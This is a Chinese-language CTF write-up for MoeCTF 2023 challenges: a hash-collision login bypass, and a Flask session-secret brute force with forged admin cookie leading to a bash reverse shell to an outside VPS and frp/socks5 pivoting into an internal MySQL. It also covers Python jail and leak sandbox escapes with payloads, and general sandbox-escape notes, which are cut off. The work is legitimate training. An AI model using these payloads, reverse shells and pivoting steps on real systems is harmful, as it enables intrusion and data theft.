                self.end_headers()
                self.wfile.write(b"Invalid username or password")
            else:
                self.send_response(404)
                self.end_headers()
                self.wfile.write(b"404 Not Found")
        except Exception as e:
            print(e)
            self.send_response(500)
            self.end_headers()
            self.wfile.write(b"500 Internal Server Error")

if __name__ == "__main__":
    server = http.server.HTTPServer(("", 9999), MyHandler)
    server.serve_forever()

先看看代码中奇怪的部分。

assert "admin" in users
assert users["admin"] == "admin"

这两行Python语句是使用assert语句来进行断言(assertion)。断言用于检查某个条件是否为真,如果条件为假,则会引发AssertionError异常,表示程序中存在错误。

检查字典 users 中是否包含键(key)“admin”,检查字典 users 中键 “admin” 对应的值是否等于字符串 “admin”。如果 “admin” 存在于 users 字典中并且键 “admin” 对应的值等于字符串 “admin”,断言条件为真,程序会继续执行。

但是这里的users字典是import导入的(from secrets import users, salt),不知道是什么。但是可以肯定的是,既然程序可以执行的话,那字典 users 中肯定有一个键值对是adminadmin


作为新生赛,源码中的注释应该就是在引导新生注意到此处有漏洞点。源码中奇怪的注释一共有三处。

image-20230913212359239

首先来看第一处it looks so complex! but is it safe enough?

是对传入参数进行了加盐取哈希值,然后分别与c进行异或运算。异或运算是不同为1,相同为0,比如001^100就是101。如果传入的参数字典中只有偶数个元素,并且两两相等,那么c的值始终是0x0,就是0。两个参数值相等即可,类型可以不相等,就算一个是字符串,一个是int类型数字也没事。

image-20230912224555985


再看第二处what is it?

eval(int.to_bytes( 0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164 ^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160, "big", signed=True).decode().translate({ord(c): None for c in "\x00"}))

这行Python语句的作用是将一个经过异或操作、整数转换、字节编码、去除空字节后的字符串进行解析和执行。

具体步骤如下:

  1. int.to_bytes() 函数将一个整数转换为字节数组。在这里,整数是通过将一个十六进制的异或操作结果与另一个数相异或而得到的。这个整数是 160 位(20字节)大小的。

  2. 使用 decode() 方法将字节数组解码为字符串。这里使用了 “big” 参数,表示使用大端字节序。

  3. 使用 translate() 方法去除字符串中的空字节(ASCII 0x00,\x00)。

  4. 最终的字符串被传递给 eval() 函数,该函数用于执行字符串中包含的 Python 表达式。

上面这行代码,可以简化为

eval([[0] for base64.b64encode in [base64.b64decode]])

image-20230913225419971

让我们分解它:

  1. base64.b64encode 是一个用于对字节数据进行Base64编码的函数。
  2. base64.b64decode 是一个用于对Base64编码的数据进行解码的函数。
  3. [base64.b64decode] 创建了一个包含base64.b64decode函数的列表。
  4. [[0] for base64.b64encode in [base64.b64decode]] 这是一个列表推导式,但它的操作看起来没有意义。它遍历[base64.b64decode]列表中的函数,然后尝试在每次迭代中使用base64.b64encode作为变量名(for base64.b64encode),并且将0放入一个内部列表中。

【这里是对b64encode重新赋值,但是赋值前后其实没有变化。出题人说放水了,如果他要坑你都话 就改成别的方法 需要分析他是怎么编码的】


最后看第三处ummm...? It looks like it's just base64 encoding it 5 times? truely?

注释写的是编码其实是解码


继续看下去。

我们拿到flag是得在/login路由,POST提交参数usernamepassword

image-20230912215307290

我们首先要满足拿flag前的两个if语句,分别是用户名不直接等于admin,和用户名不等于密码。

满足条件后进一步聚焦到代码片段:

hashed = gethash(params.get("username"), params.get("password"))
                for k, v in hashed_users.items():
                    if hashed == v:
                        data = {
                            "user": k,
                            "hash": hashed,
                            "flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
                        }

params:POST传进来的params参数,json形式,params参数的值经过了decrypt()函数,即五次base64解码(值解码后也是json格式)。

gethash():获取参数加盐后的哈希值,从第二位开始取即去掉哈希值的前两位0x

hashed:存放两个传入变量的哈希值的字典。

hashed_users.items()hashed_users = dict((k, gethash(k, v)) for k, v in users.items()),hashed_users.items()的v是users.items()的gethash(k, v),如果users.items()的键值对都是admin的话,users.items()的gethash(k, v)就是0,hashed_users.items()的v就是0

k,v:分别是字典hashed_users.items()的键和值。


回归题目,我们的切入点其实很好找。

拿flag前的两个if语句对username限制是直接用params.get("username")进行比较的。所以我们肯定不能直接传admin

拿flag时判断条件是k == "admin",即hashed_users.items()的k,即users.items()的k。(看上面标黄)

前文有提到字典 users 中肯定有一个键值对是adminadmin

image-20230913231321855

那么对应的hashed_users.items()就是admin0hashed_users.items()k已经是admin了,我们只需要使得hashed == v == 0就能拿flag。

payload:(/login路由下)

POST:{"params":"VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJFeWVIaFZiRkpQVTIxR1dWcElRbHBOUjFKSVdsY3hUbVZzY0VsWGJYQnBWbXRhZDFaRVNuZFNhekI1VjJ4S1VWWkVRVGs9"}

image-20230913235806878

VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJFeWVIaFZiRkpQVTIxR1dWcElRbHBOUjFKSVdsY3hUbVZzY0VsWGJYQnBWbXRhZDFaRVNuZFNhekI1VjJ4S1VWWkVRVGs9

五次base64解码后是如下,可以使得hashed=0(见 对第一个注释 的分析)

{"username":"17","password":17}

moeworld【没出】

image-20230919094353620

首先访问http://47.115.201.35:8000/。是个登录界面。

image-20230919095409849

注册一个账号,admin以存在,注册账号jay17。看见了flask模板和session。考虑以SSTI和JWT伪造两种攻击方式。

image-20230919095649850

SSTI暂时没测出来。

image-20230919095822065

试了一下,这里是session,不是JWT

image-20230919095940474

密钥来自于app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()

本地尝试生成了一下,随机的才四位,只有数字和小写字母,打算爆破。

image-20230919100225962

flask_unsign工具直接爆破

flask-unsign --unsign --cookie 'eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImpheTE3In0.ZQj_Zg.vyNrx8efut5p4ApQ8uZkSOWuelU'

没出来,但是帮我们解密了

image-20230919121806991

用脚本爆破。

import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys

path = "wordlist.txt"

print("Generating wordlist... ")

with open(path,"w") as f:
    #permutations with repetition
    [f.write("This-random-secretKey-you-can't-get" + "".join(x)+"\n") for x in itertools.product('0123456789abcdefghijklmnopqrstuvwxyz', repeat=4)]   #加上前缀

#url = "http://47.115.201.35:8000/index"
#cookie_tamper = r.head(url).cookies.get_dict()['session']
cookie_tamper='eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImpheTE3In0.ZQj_Zg.vyNrx8efut5p4ApQ8uZkSOWuelU'
print("Got cookie: " + cookie_tamper)

print("Cracker Started...")

obj = flask_unsign.Cracker(value=cookie_tamper)

before = time.time()

with wordlist(path, parse_lines=False) as iterator:
            obj.crack(iterator)

secret = ""
if obj.secret:
    secret =obj.secret.decode()
    print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")

signer = flask_unsign.sign({"time":time.time(),"authorized":True},secret=secret)

得到随机四位密钥7b81,密钥是This-random-secretKey-you-can't-get7b81

image-20230919122058725

flask_unsign工具加密伪造的session。

flask-unsign --sign --cookie " {'power': 'admin', 'user': 'jay'}" --secret "This-random-secretKey-you-can't-get7b81"

得到伪造的session
eyJwb3dlciI6ImFkbWluIiwidXNlciI6ImFkbWluIn0.ZQkiLw.vnwCbJyE472-XWu8NgEhcNhZfUM

image-20230919122352760

更改session后成功登录admin账号

image-20230919151831551

这时候留言板多了一句语句:

image-20230919152054736

进入debug调试路由/console,执行任意代码getshell。

os.popen('命令').read()

image-20230919152924669

第一部分flag:moectf{Information-leakage-Is-dangerous!

根目录下readme内容:

对密码有疑问随时咨询出题人注意:请忽略掉xx.xx.xx.1,例如扫出三个ip 192.168.0.1 192.168.0.2 192.168.0.3 ,请忽略掉有关192.168.0.1的所有结果!此为出题人服务器上的其它正常服务

将你得到的若干个端口号从小到大排序并以 - 分割,这一串即为hint.zip压缩包的密码(本例中,密码为:22-8080-9000)

10.1.23.23:9000 open
10.1.23.21:8080 open
10.1.11.11:22 open
如果你进行了正确的操作,会得到类似下面的结果
你需要了解它的基本用法,然后扫描内网的ip段
接下来,你需要尝试内网渗透,本服务器的/app/tools目录下内置了fscan
恭喜你通过外网渗透拿下了本台服务器的权限


我们首先来查看ip,用ipconfig命令。但是题目好像没有这个命令。

image-20231003123516670

没关系,我们还可以查看/etc/hosts文件来查看ip。

image-20231003123639391

有两个网卡:

172.21.0.3   c27c8878aafc

172.20.0.4   c27c8878aafc

我们也可以使用命令hostname -i,一样的效果。

image-20231007183506502

先弹个shell过来方便操作。

os.popen('bash -c "bash -i >& /dev/tcp/120.46.41.173/9023 0>&1"').read()

image-20231003132146063

之后用题目提供的fscan扫网卡和端口

cd /app/tools

./fscan -h 172.20.0.4/24

忽略掉xx.xx.xx.1后,开放的端口是:8080 6379 3306 22

image-20231003133249429

压缩包hint.zip的密码是22-3306-6379-8080

hint文件内容:

当你看到此部分,证明你正确的进行了fscan的操作得到了正确的结果
可以看到,在本内网下还有另外两台服务器
其中一台开启了22(ssh)和6379(redis)端口
另一台开启了3306(mysql)端口
还有一台正是你访问到的留言板服务
接下来,你可能需要搭建代理,从而使你的本机能直接访问到内网的服务器
此处可了解npsfrp,同样在/app/tools已内置了相应文件
连接代理,推荐proxychains
对于mysql服务器,你需要找到其账号密码并成功连接,在数据库中找到flag2
对于redis服务器,你可以学习其相关的渗透技巧,从而获取到redis的权限,并进一步寻找其getshell的方式,最终得到flag3

链接分为正向连接和反向连接,正向连接就是攻击者主动去找内网主机,但是访问到内网,内网都会都会有一个统一的出口,当你访问到那个出口了之后,就会没办法往下访问了,因为往下访问都是172或者是192开头的内网ip。

因为他的那个主机(我们要攻击的目标)是在内网的,所以说需要内网的主机去反向连接我们的机器(vps)。内网的主机想要连到我们的话,我们的IP就必须必须在公网上,然后用frp提供一个反向连接的这么一个作用。

image-20231007185158410

frp教程:frp配置内网穿透教程(超详细)-腾讯云开发者社区-腾讯云 (tencent.com)

服务端配置成功后访问frps的后台管理端口,成功就是服务端配置好了。

image-20231007203524907

然后先终止frp运行。

ps -aux|grep frp| grep -v grep

kill -9 23387

image-20231007222540442

然后重新运行

./frps -c frps.ini

image-20231007224104516

然后继续配置客户端(不用配置,/app/tools目录下已经有了)

image-20231007203629278

咱们修改一下配置文件就行啦。(frpc.ini)

# 客户端配置
[common]
server_addr = 120.46.41.173   #服务器ip
server_port = 7000 # 与frps.ini的bind_port一致
token = 9023  # 与frps.ini的token一致

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000
[mysql]
type = tcp
local_ip = 127.0.0.1
local_port = 3306
remote_port = 6001

[rdp]
type = tcp	#类型tcp
local_ip = 127.0.0.1		#需要代理出去的ip
local_port = 3306	#需要代理出去访问的端口我这里是3306数据库
remote_port = 1470	#这里就是转发出去的端口,也就是在自己的机器上访问的代理端口 rdp:vps的IP:1470


# 配置ssh服务
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000  # 这个自定义,之后再ssh连接的时候要用

# 配置http服务,可用于小程序开发、远程调试等,如果没有可以不写下面的
[web]
type = http
local_ip = 127.0.0.1
local_port = 8080
subdomain = test.hijk.pw  # web域名
remote_port = 自定义的远程服务器端口,例如8080
  • 注意:[ssh]这样的名称必须全局唯一,即就算有多个客户端,也只能使用一次,其他的可以用[ssh2]、[ssh3]等;意思就是说,如果你要配置多个客户端,必须将另外的客户端的[ssh]改为[ssh2]、[ssh3]等,并且remote_port也要变,比如6002,6003等

查看源文件内容:

[common]
server_addr = x.x.x.x
server_port = 7000

[plugin_socks5]
type = tcp
remote_port = 7777
plugin = socks5
# plugin_user = abc
# plugin_passwd = abc

替换文件内容命令sed

//将第二行x.x.x.x改成120.46.41.173
sed -i '2s/x\.x\.x\.x/120.46.41.173/' frpc.ini

修改文件时发现并没有vivim命令。echosed -i权限被限制。

问了一下出题人,可以在/tmp目录新建一个。

echo "[common]
server_addr = 120.46.41.173
server_port = 7000
token = 9023

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 1471

[mysql]
type = tcp
local_ip = 127.0.0.1
local_port = 3306
remote_port = 1472

[plugin_socks5]
type = tcp
remote_port = 7777
plugin = socks5" > frpc.ini

image-20231007235424212

然后/tmp目录下执行:

/app/tools/frpc -c frpc.ini

image-20231007231151230

此时frp已经成功将vps的1472端口和内网3306端口、vps的1471端口和内网的22端口搭建起来。但是我们想访问内网某个端口的话还需要流量转发。

流量转发我使用kali自带的proxychains4。先配置一下工具的配置文件。怎么配置参考上文frpc.ini文件中的[plugin_socks5]

sudo vim /etc/proxychains4.conf

image-20231007235258302

连接肯定需要mysql账号密码:

cat /app/dataSql.py

image-20231007232442755

密码是The_P0sswOrD_Y0u_Nev3r_Kn0w

proxychains4 mysql -h 120.46.41.173 -P 1472  -uroot -pThe_P0sswOrD_Y0u_Nev3r_Kn0w

chu0✌的指导:

一般要是真实渗透的话,你是先找那个跳板机嘛,就是它能访问外网,同时还可以访问内网的那种机器,然后呢,拿下跳板直接机之后,就可以在内网的机器里面去横向移动,横向移动之后就找到那个全线最高的。就是啊,那个机器就然后呢,就可以控制其他的这个内网电脑的一个权限嘛,然后呢,拿下那个机器,基本上就可以说是拿下内网。

----------jail【】----------

Jail Level 0

nc连接

 nc 192.168.110.254 28974

image-20230822112220554

题目描述:

您的命令和代码将在受限制的环境中运行,您需要找到一种方法绕过受限制的环境来获取flag。代码的功能可能是你可以输入一些算术表达式,比如1+1,他会给你2。但你的目标是get flag。

hint:

  1. 似乎eval函数不安全
  2. 也许这对你真的很有用https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes这个提示也适用于下面十个挑战

源码:

print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
print('calc Answer: {}'.format(eval(user_input_data)))

第四行有个eval函数,参数是我们输入的东西。

那我们直接使用eval执行函数

payload:

__import__("os").popen("ls").read()

__import__("os").popen("tac flag").read()

image-20230822172540103

Jail Level 1

前置步骤同level 0

源码:

print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
  print("Oh hacker! Bye~")
  exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))

这次对输入长度就行了限制,要求小于等于12。

长度限制是12,连打开输入流都不够。。。


参考[CISCN 2023 初赛]pyshell,通过_不断的进行字符串的叠加,再利用eval()进行一些命令的执行。

我们想执行的代码:__import__("os").popen("tac flag").read()

payload:

'__import__'
_+'("os").p'
_+'open("ta'
_+'c flag")'
_+'.read()'

但是遗憾发现,他每次只执行一次就退出了,无法就行字符串叠加。

image-20230822173923148


查找我上面的沙盒逃逸笔记,还有help()breakpoint()这两个函数可以使用。

help()函数可以使用但是不能getshell。

image-20230822175037562

breakpoint()函数完全没问题,直接getshell。

pauload:

第一步:𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()

第二步:__import__('os').system('cat flag')

image-20230822175257915

Jail Level 2

前置步骤同level 0

源码:

print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>6:
  print("Oh hacker! Bye~")
  exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))

长度限制是12,只能使用help()函数了。

这次help()函数可以正常使用了,详细请看上文笔记。

payload:

步骤一:help()
步骤二:os
步骤三:!sh
步骤四:执行命令

image-20230822193216265

Jail Level 3

前置步骤同level 0

源码:

import re
BANLIST = ['breakpoint']
BANLIST_WORDS = '|'.join(f'({WORD})' for WORD in BANLIST)
print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
  print("Oh hacker! Bye~")
  exit(0)
if re.findall(BANLIST_WORDS, user_input_data, re.I):
  raise Exception('Blacklisted word detected! you are hacker!')
print('Answer result: {}'.format(eval(user_input_data)))

这次还是限制在12个字符以内,但是禁用了字符串breakpoint。(re模块一般用于正则匹配)

那我们就要想办法绕过过滤。由于,breakpoint()函数正好长度是12,我们不方便用字符串拼接等操作进行绕过,因为绕过操作后payload长度肯定会变长。

这里我们采用unicode 绕过

Python 3 开始支持非ASCII字符的标识符,也就是说,可以使用 Unicode 字符作为 Python 的变量名,函数名等。Python 在解析代码时,使用的 Unicode Normalization Form KC (NFKC) 规范化算法,这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。

>>> eval == 𝘦val
True 
>>> breakpoint() == 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()
True 

payload:

第一步:𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()

第二步:__import__('os').system('cat flag')

image-20230822195126809

Jail Level 4

题目描述:这里是level4 他似乎就是一个简单的复读机 我们该如何逃逸他呢 ?_?

前置步骤同level 0

源码:(做完后得到,__import__('os').system('server.py')

print WELCOME
print "Welcome to the MoeCTF2023 Jail challenge.This is a repeater and it repeats what you say!"
print "python verison:2.7"
while True:
  user_input_data = input("> ")
  print user_input_data

直接getshell试试,没想到成功了。

payload:

__import__('os').system('cat flag')

image-20230822200541194

Jail Level 5

题目描述:这里是level5 你似乎不能使用一些字符 你有办法解决他们吗

前置步骤同level 0

源码:

print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")


def func_filter(s):
    not_allowed = set('"'`bid')
    return any(c in not_allowed for c in s)


user_input_data = input("> ")
if func_filter(user_input_data):
    print("Oh hacker! Bye~")
    exit(0)
if not user_input_data.isascii():
    print("Sorry we only ascii for this chall!")
    exit(0)
print('Answer result: {}'.format(eval(user_input_data)))

过滤了 "'反引号bid

image-20231006140822620

同时只能能使用ascii编码内的字符。

我们的目标payload:

__import__('os').system('tac flag_9af31874439b2aad')

利用ascii编码绕过限制

eval(【payload的ascii编码】)

ascii编码脚本:

def string_to_chr_ascii(text):
    chr_ascii_result = ""
    for char in text:
        chr_ascii_result += "chr(" + str(ord(char)) + ")+"
    return chr_ascii_result.strip(" + ")

input_string = "__import__('os').system('tac flag_9af31874439b2aad')"
chr_ascii_encoded = string_to_chr_ascii(input_string)
print("ASCII 编码结果:", chr_ascii_encoded)

最终payload:(每个人flag文件名不同)

eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(116)+chr(97)+chr(99)+chr(32)+chr(102)+chr(108)+chr(97)+chr(103)+chr(95)+chr(57)+chr(97)+chr(102)+chr(51)+chr(49)+chr(56)+chr(55)+chr(52)+chr(52)+chr(51)+chr(57)+chr(98)+chr(50)+chr(97)+chr(97)+chr(100)+chr(39)+chr(41))

image-20231006163620127

Jail Level 6【未出】

题目描述:这里是level6 和level5有所不同 不能用的东西似乎更多了

前置步骤同level 0

源码:

def func_filter(s):
    not_allowed = set('"'`bic+')
    return any(c in not_allowed for c in s)


user_input_data = input("> ")
if func_filter(user_input_data):
    print("Oh hacker! Bye~")
    exit(0)
if not user_input_data.isascii():
    print("Sorry we only ascii for this chall!")
    exit(0)
print('Answer result: {}'.format(eval(user_input_data)))

比上题多过滤了一个加号+c,不过滤字符d

Leak Level 0

题目描述:欢迎来到m0eLeak 你需要用你的所学来泄露一些特殊的东西 从而进行rce或者其他的操作 这里是level0 非常简单

前置步骤同 jail level 0

源码:

fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
    print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
    print("| Options: 
|       [V]uln 
|       [B]ackdoor")
    def func_filter(s):
      not_allowed = set('vvvveeee')
      return any(c in not_allowed for c in s)
    while(1):
      challenge_choice = input(">>> ").lower().strip()
      if challenge_choice == 'v':
        code = input("code >> ")
        if(len(code)>9):
          print("you're hacker!")
          exit(0)
        if func_filter(code):
          print("Oh hacker! byte~")
          exit(0)
        print(eval(code))
      elif challenge_choice == 'b':
        print("Please enter the admin key")
        key = input("key >> ")
        if(key == fake_key_into_local_but_valid_key_into_remote):
          print("Hey Admin,please input your code:")
          code = input("backdoor >> ")
          print(eval(code))
      else:
        print("You should select valid choice!")

思路很简单,首先拿到密钥,然后用密钥进入admin用户。然后沙盒逃逸执行命令。

可以用globals()来泄露所有全局变量的值。其中就包括key

image-20231006175610154

得到key4e86eda06366a131649a4e9be1a9f217

用密钥进入admin后就可以直接沙盒逃逸了。

payload:

__import__("os").popen("ls").read()

__import__("os").popen("tac flag").read()

image-20231006194425996

Leak Level 1

题目描述:这里是level1 比level0多了一些过滤

前置步骤同level 0

源码:

fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")

def func_filter(s):
    not_allowed = set('moe_dbt')
    return any(c in not_allowed for c in s)
print("| Options:
|       [V]uln 
|       [B]ackdoor")

while (1):
    challenge_choice = input(">>> ").lower().strip()
    if challenge_choice == 'v':
        code = input("code >> ")
        if (len(code) > 6):
            print("you're hacker!")
            exit(0)
        if func_filter(code):
            print("Oh hacker! byte~")
            exit(0)
        print(eval(code))
    elif challenge_choice == 'b':
        print("Please enter the admin key")
        key = input("key >> ")
        if (key == fake_key_into_local_but_vailed_key_into_remote):
            print("Hey Admin,please input your code:")
            code = input("backdoor >> ")
            print(eval(code))
    else:
        print("You should select valid choice!")

这次增加了一些过滤,无法用globals()来泄露所有全局变量的值。

我们还可以用help()函数。我们之前输入os得到os模块的帮助,那么我们如果输入__main__的话,就可以得到当前模块的帮助。我们输入__main__之后,就返回了当前模块的信息,包括全局变量。

由于过滤了字符moe_dbt,我们用unicode 编码𝘩𝘦𝘭𝘱()

image-20231006195524052

所以便可通过这样的方式拿到key的内容。8d3d451fff8457ee50ed8d0f24881eac

用密钥进入admin后就可以直接沙盒逃逸了。

payload:

__import__("os").popen("ls").read()

__import__("os").popen("tac flag").read()

image-20231006195712290

Leak Level 2

题目描述:这里是level2 比level1多了一些过滤

前置步骤同level 0

源码:

fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")


def func_filter(s):
    not_allowed = set('dbtaaaaaaaaa!')
    return any(c in not_allowed for c in s)

print("| Options:
|       [V]uln
|       [B]ackdoor")

while (1):
    challenge_choice = input(">>> ").lower().strip()
    if challenge_choice == 'v':
        print("you need to ")
        code = input("code >> ")
        if (len(code) > 6):
            print("you're hacker!")
            exit(0)
        if func_filter(code):
            print("Oh hacker! byte~")
            exit(0)
        if not code.isascii():
            print("please use ascii only thanks!")
            exit(0)
        print(eval(code))
    elif challenge_choice == 'b':
        print("Please enter the admin key")
        key = input("key >> ")
        if (key == fake_key_into_local_but_vailed_key_into_remote):
            print("Hey Admin,please input your code:")
            code = input("backdoor> ")
            print(eval(code))
    else:
        print("You should select valid choice!")

和上题相差不大,但是这题只允许ascii编码内的字符。unicode 编码𝘩𝘦𝘭𝘱() 已经无法使用了。

但是细心一点就会发现,这次的过滤对help()不起作用。我们直接输入help()。然后和上题一样就行啦。

image-20231006201550547

密钥是43610e2ef5ee1754b2e73acf35348dd5

用密钥进入admin后就可以直接沙盒逃逸了。

payload:

__import__("os").popen("ls").read()

__import__("os").popen("tac flag").read()

image-20231006201719767

PyRunner!【未出】

题目描述:这里有一个“安全”的 Python 代码运行器!它只允许执行字节码有 LOAD_CONST, STORE_NAME, RETURN_VALUE 的代码。

前置步骤同level 0

源码:

import py_compile
import dis
import six
import base64
import random
import os
import string
import runpy

ALLOWED_OPCODES = ["LOAD_CONST", "STORE_NAME", "RETURN_VALUE"]
letters = string.ascii_lowercase + string.digits
filename = ''.join(random.choice(letters) for _ in range(10))


# https://github.com/Gallopsled/pwntools/blob/c72886a9b9/pwnlib/util/safeeval.py#L26-L67
def _get_opcodes(codeobj):
    if hasattr(dis, 'get_instructions'):
        return [ins.opcode for ins in dis.get_instructions(codeobj)]
    i = 0
    opcodes = []
    s = codeobj.co_code
    while i < len(s):
        code = six.indexbytes(s, i)
        opcodes.append(code)
        if code >= dis.HAVE_ARGUMENT:
            i += 3
        else:
            i += 1
    return opcodes


def test_expr(expr, allowed_codes):
    allowed_codes = [dis.opmap[c] for c in allowed_codes if c in dis.opmap]
    try:
        c = compile(expr, "", "exec")
    except SyntaxError:
        raise ValueError("%r is not a valid expression" % expr)
    codes = _get_opcodes(c)
    for code in codes:
        if code not in allowed_codes:
            raise ValueError("opcode %s not allowed" % dis.opname[code])
    return c


print("Welcome to my safe py,can u try to escape it?")
print("pls input your pycode(base64ed)")
base64_code = input("> ")
base64_decode_code = base64.b64decode(base64_code).decode()
test_expr(base64_decode_code, ALLOWED_OPCODES)
filename += ".py"
tmp_dir = '/tmp'
file_path = os.path.join(tmp_dir, filename)
with open(file_path, 'w') as file:
    file.write(base64_decode_code)
print("Execute it....")
runpy.run_path(py_compile.compile(file_path))

python 沙盒逃逸

原理

沙箱是一种安全机制,用于在受限制的环境中运行未信任的程序或代码。它的主要目的是防止这些程序或代码影响宿主系统或者访问非授权的数据。

在 Python 中,沙箱主要用于限制 Python 代码的能力,例如,阻止其访问文件系统、网络,或者限制其使用的系统资源。

Python 沙箱的实现方式有多种,包括使用 Python 的内置功能(如re模块),使用特殊的 Python 解释器(如PyPy),或者使用第三方库(如RestrictedPython)。但 Python 的标准库和语言特性提供了相当多的可以用于逃逸沙箱的方法,因此在实践中创建一个完全安全的 Python 沙箱非常困难。

python沙盒逃逸其实就是如何通过绕过限制,拿到出题人或者安全运维人员不想让我们拿到的”危险函数”,或者绕过Python终端达到命令执行的效果。

从这个角度来讲,沙盒逃逸本身就像是sql注入在被过滤的剩余字符中通过骚操作来执行不该被执行的命令一样。

关于查看目标主机是否为docker

  1. cat /proc/self/cgroup
  2. mount -v

任意执行命令

函数和模块:

import 函数

__import__('os').system('dir')

os 模块

很少不被禁,不然很容易被利用getshell
官方文档 https://docs.python.org/2/library/os.html

import os

os.system("/bin/sh")

os.popen("/bin/sh")
>>> import os
>>> os.system("/bin/sh")
$ cat /flag
flag{xxxxxxxxxxx}

exec & eval 函数

两个执行函数。

eval('__import__("os").system("dir")')

exec('__import__("os").system("dir")')
>>> eval('__import__("os").system("/bin/sh")')
$ cat /flag
flag{xxxxxxxxxxx}

execfile 函数

执行文件,主要用于引入模块来执行命令
python3不存在


timeit 函数 from timeit 模块

import timeit
timeit.timeit('__import__("os").system("dir")',number=1)
>>> import timeit
>>> timeit.timeit('__import__("os").system("sh")',number=1)
$ cat /flag
flag{xxxxxxxxxxx}

platform 模块

platform提供了很多方法去获取操作系统的信息,popen函数可以执行任意命令

import platform 
print platform.popen('dir').read()
>>> import platform 
>>> print platform.popen('dir').read()
jail.py

commands 模块

依旧可以用来执行部分指令,貌似不可以拿shell,但其他的很多都可以

import commands
print commands.getoutput("dir")
print commands.getstatusoutput("dir")
>>> import commands
>>> print commands.getoutput("dir")
flag  jail.py
>>> print commands.getstatusoutput("dir")
(0, 'flag  jail.py')

subprocess模块

shell=True 命令本身被bash启动,支持shell启动,否则不支持

import subprocess
subprocess.call(['ls'],shell=True)
>>> import subprocess
>>> subprocess.call(['ls'],shell=True)
flag  jail.py

compile 函数

菜鸟:http://www.runoob.com/python/python-func-compile.html


f修饰符

python 3.6加上的新特性,用f、F修饰的字符串可以执行代码。

f'{__import__("os").system("ls")}'

sys模块

关于python内部查看版本号,可以使用sys模块

>>> import sys
>>> print sys.version
2.7.12 (default, Nov 12 2018, 14:36:49) 
[GCC 5.4.0 20160609]

文件操作:

file 函数

file('flag.txt').read()

open 函数

open('flag.txt').read()

codecs模块

import codecs
codecs.open('test.txt').read()

Filetype 函数 from types 模块

可以用来读取文件

import types
print types.FileType("flag").read()
>>> import types
>>> print types.FileType("flag").read()
flag_here

绕过检查

import / os 引入

使用内联函数:

import函数

import函数本身是用来动态的导入模块,比如:import(module) 或者 import module

a = __import__("bf".decode('rot_13'))       //os 
a.system('sh')

importlib库

import importlib
a = importlib.import_module("bf".decode('rot_13'))    //os
a.system('sh')

builtins函数

使用 python 内置函数 builtins (该函数模块中的函数都被自动引入,不需要再单独引入) , dir(builtins) 查看剩余可用内置函数

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 